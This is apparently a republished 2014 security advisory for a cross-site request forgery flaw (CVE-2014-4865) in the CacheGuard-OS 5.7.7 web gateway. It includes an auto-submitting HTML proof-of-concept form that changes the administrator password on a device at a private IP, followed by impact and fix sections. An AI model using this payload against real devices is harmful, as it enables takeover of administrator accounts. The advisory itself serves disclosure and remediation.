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CacheGuard-OS 5.7.7 - CSRF Vulnerability

🗓️ 15 Sep 2014 00:00:00Reported by William CostaType 
zdt
 zdt
🔗 0day.today👁 41 Views

CSRF vulnerability in CacheGuard-OS 5.7.7 allows attackers to modify settings or change password

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2014-4865
10 Sep 201418:00
cve
Cvelist
CVE-2014-4865
10 Sep 201418:00
cvelist
EUVD
EUVD-2014-4784
7 Oct 202500:30
euvd
NVD
CVE-2014-4865
10 Sep 201418:55
nvd
Prion
Cross site request forgery (csrf)
10 Sep 201418:55
prion
CERT
CacheGuard OS contains a cross-site request forgery vulnerability
10 Sep 201400:00
cert
I. VULNERABILITY
 
-------------------------
 
CSRF vulnerabilities in CacheGuard-OS v5.7.7
 
II. BACKGROUND
 
-------------------------
 
CacheGuard is an All-in-One Web Security Gateway providing firewall,
web antivirus, caching, compression, URL filtering, proxy, high
availability, content filtering, bandwidth saving, bandwidth shaping,
Quality of Service and more.
 
 
 
III. DESCRIPTION
 
-------------------------
 
Has been detected a CSRF  vulnerability in CacheGuard in
"/gui/password-wadmin.apl"
 
 
 
IV. PROOF OF CONCEPT
 
-------------------------
 
The application does not validate the parameter any csrf_token
"/gui/password-wadmin.apl".
 
 
 
<html>
 
 
 
<body onload="CSRF.submit();">
 
<br>
 
<br>
 
 
 
<form id="CSRF" action="https://10.200.210.123:8090/gui/password-wadmin.apl"
method="post" name="CSRF">
 
<input name="password1" value="[email protected]" type=hidden> </input>
 
<input name="password2" value="[email protected]" type=hidden> </input>
 
</form>
 
 
 
</body>
 
</html>
 
 
 
V. BUSINESS IMPACT
 
-------------------------
 
 
 
CSRF allow the execution attackers to modify settings or change
password of user administrator in CacheGuard, because this functions
are not protected by CSRF-Tokens.
 
 
 
VI. REQUIREMENTS
 
-----------------------
 
An Attacker needs to know the IP of the device.
 
An Administrator needs an authenticated connection to the device.
 
 
 
VII. SYSTEMS AFFECTED
 
-------------------------
 
Try CacheGuard-OS v5.7.7
 
 
 
VIII. SOLUTION
 
-------------------------
 
All functions must be protected by CSRF-Tokens.
 
http://www.kb.cert.org/vuls/id/241508

#  0day.today [2018-04-09]  #

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